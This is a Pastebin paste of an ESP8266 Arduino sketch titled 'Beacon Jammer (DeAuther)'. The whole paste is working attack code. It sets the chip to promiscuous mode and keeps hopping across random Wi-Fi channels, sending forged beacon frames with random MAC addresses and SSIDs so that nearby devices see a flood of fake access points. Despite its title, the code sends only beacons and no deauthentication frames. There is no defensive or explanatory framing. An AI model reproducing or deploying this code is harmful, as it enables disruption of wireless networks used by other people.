Advertisement
Guest User

ESP8266 Beacon Jammer (DeAuther)

a guest
Dec 27th, 2018
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <ESP8266WiFi.h>
  2.  
  3. extern "C" {
  4.   #include "user_interface.h"
  5. }
  6.  
  7. String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
  8. byte channel;
  9.  
  10. // Beacon Packet buffer
  11. uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00,
  12.                 /*4*/   0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  13.                 /*10*/  0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
  14.                 /*16*/  0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
  15.                 /*22*/  0xc0, 0x6c,
  16.                 /*24*/  0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00,
  17.                 /*32*/  0x64, 0x00,
  18.                 /*34*/  0x01, 0x04,
  19.                 /* SSID */
  20.                 /*36*/  0x00, 0x06, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72,
  21.                         0x01, 0x08, 0x82, 0x84,
  22.                         0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01,
  23.                 /*56*/  0x04};                      
  24.  
  25.  
  26. void setup() {
  27.   delay(500);
  28.   wifi_set_opmode(STATION_MODE);
  29.   wifi_promiscuous_enable(1);
  30. }
  31.  
  32.  
  33.  
  34. void loop() {
  35.     // Randomize channel //
  36.    
  37.     channel = random(1,12);
  38.     wifi_set_channel(channel);
  39.  
  40.     // Randomize SRC MAC
  41.     packet[10] = packet[16] = random(256);
  42.     packet[11] = packet[17] = random(256);
  43.     packet[12] = packet[18] = random(256);
  44.     packet[13] = packet[19] = random(256);
  45.     packet[14] = packet[20] = random(256);
  46.     packet[15] = packet[21] = random(256);
  47.  
  48.     // Randomize SSID
  49.     int i;
  50.     int j = 0;
  51.     int lenSSID = random(6,12);
  52.     for ( i = 38; i < 56 ; i++ ){
  53.       j++;
  54.       packet[i] = alfa[random(65)];
  55.       if ( j == lenSSID ) break;
  56.     }
  57.    
  58.     packet[56] = channel;
  59.    
  60.     wifi_send_pkt_freedom(packet, 57, 0);
  61.     wifi_send_pkt_freedom(packet, 57, 0);
  62.     wifi_send_pkt_freedom(packet, 57, 0);
  63.     delay(1);
  64. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement